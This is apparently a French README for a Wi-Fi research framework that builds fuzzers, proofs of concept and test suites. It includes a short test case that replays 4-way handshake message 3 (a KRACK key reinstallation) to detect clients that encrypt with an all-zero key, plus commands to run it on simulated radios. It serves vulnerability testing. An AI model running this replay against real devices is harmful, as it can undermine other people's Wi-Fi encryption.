
Wi-Fi Framework pour créer des preuves de concept, des expériences automatisées, des suites de tests, des fuzzers, et plus.
Nous présentons un framework pour réaliser plus facilement des expériences Wi-Fi. Il peut être utilisé pour créer des fuzzers, implémenter de nouvelles attaques, créer des preuves de concepts pour tester des vulnérabilités, automatiser des expériences, implémenter des suites de tests, etc.
Le principal avantage du framework est qu'il vous permet de réutiliser les fonctionnalités Wi-Fi de Linux pour implémenter plus facilement des attaques et/ou des tests. Par exemple, le framework peut se connecter à des réseaux Wi-Fi (protégés) pour vous et peut diffuser des balises pour vous lors des tests de clients. En général, toute fonctionnalité Wi-Fi de Linux peut être réutilisée pour implémenter plus rapidement des attaques/tests. Le framework y parvient en exécutant des cas de test sur le démon hostap de l'espace utilisateur.
Aperçu du démon Wi-Fi et des composants du framework.
Si vous débutez dans la réalisation d'expériences Wi-Fi sur Linux, il est fortement recommandé de lire d'abord le tutoriel Linux libwifi. Lorsque vous implémentez des attaques Wi-Fi de base sans avoir besoin de réutiliser les fonctionnalités Linux, le framework offre des avantages limités et vous pouvez plutôt envisager d'implémenter directement les attaques dans Scapy et éventuellement d'utiliser la bibliothèque libwifi.
Pour utiliser le framework :
Installez-le en exécutant ./setup.sh. Consultez setup pour savoir ce que fait ce script.
Lisez le tutoriel d'utilisation.
Supposons que vous souhaitiez tester si un client chiffre jamais des trames en utilisant une clé entièrement nulle. Cela peut se produire lors d'une attaque de réinstallation de clé. En utilisant le framework, vous n'avez pas besoin de réimplémenter toutes les fonctionnalités d'un point d'accès, mais seulement d'écrire le cas de test suivant :
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# Replay 4-Way Handshake Message 3/4.
Action( trigger=Trigger.Connected, action=Action.Function ),
# Receive all frames and search for one encrypted with an all-zero key.
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# When we receive such a frame, we can terminate the test.
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# Resend 4-Way Handshake Message 3/4.
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# Check if CCMP-encrypted frame can be decrypted using an all-zero key
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# We received a valid plaintext frame!
log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
return True
Le cas de test ci-dessus créera un point d'accès auquel les clients peuvent se connecter. Après la connexion du client, un nouveau 3ème message de la poignée de main en 4 étapes sera envoyé au client. Un client vulnérable commencera alors à utiliser une clé de chiffrement entièrement nulle, ce que le cas de test détecte automatiquement.
Vous pouvez exécuter le cas de test ci-dessus en utilisant des radios Wi-Fi simulées comme suit :
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key
Vous pouvez vous connecter au point d'accès créé pour le tester (réseau testnetwork avec mot de passe passphrase) :
./hostap.py wlan2
En modifiant la configuration réseau, ce point d'accès peut facilement être configuré pour utiliser WPA2 ou WPA3 et/ou être configuré pour utiliser l'authentification d'entreprise, sans apporter aucune modification au cas de test que nous avons écrit ! Les avantages supplémentaires de l'utilisation du framework dans cet exemple sont les suivants :
Voir une description détaillée de tous nos exemples pour plus d'exemples.
Ce travail a été publié à la conférence ACM sur la sécurité et la vie privée dans les réseaux sans fil et mobiles (WiSec '21) :
Travaux qui ont utilisé ce framework ou un similaire :